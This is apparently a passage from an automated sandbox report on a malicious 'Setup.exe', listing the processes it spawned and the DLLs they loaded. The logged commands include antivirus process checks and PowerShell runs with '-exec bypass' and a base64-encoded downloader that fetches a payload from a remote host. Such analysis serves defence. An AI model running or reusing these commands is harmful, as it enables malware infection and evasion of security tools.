BpAHUAMAAuAHMAaABvAHAALwBpAG4AdABfAGMAbABwAF8AcwBoAGEALgB0AHgAdAAiAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBXAHIAaQB0AGUAKAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAsACAAMAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAb
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 189943	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ExpendituresReactionsRioWinterDialReducedPricingSoftware" Dennis	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Handbook + ..\Attorneys + ..\Celebration + ..\Advert + ..\Loop + ..\Objectives + ..\Added X	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\189943\Attachment.com Attachment.com X	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -Enc JAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AMwA2ADAALgBuAGUAdAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGIAYQBpAGQAdQAuAGMAbwBtACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGwAaQBwAGMAYQB0AGUAcABpAHUAMAAuAHMAaABvAHAALwBpAG4AdABfAGMAbABwAF8AcwBoAGEALgB0AHgAdAAiAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBXAHIAaQB0AGUAKAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAsACAAMAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAb	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
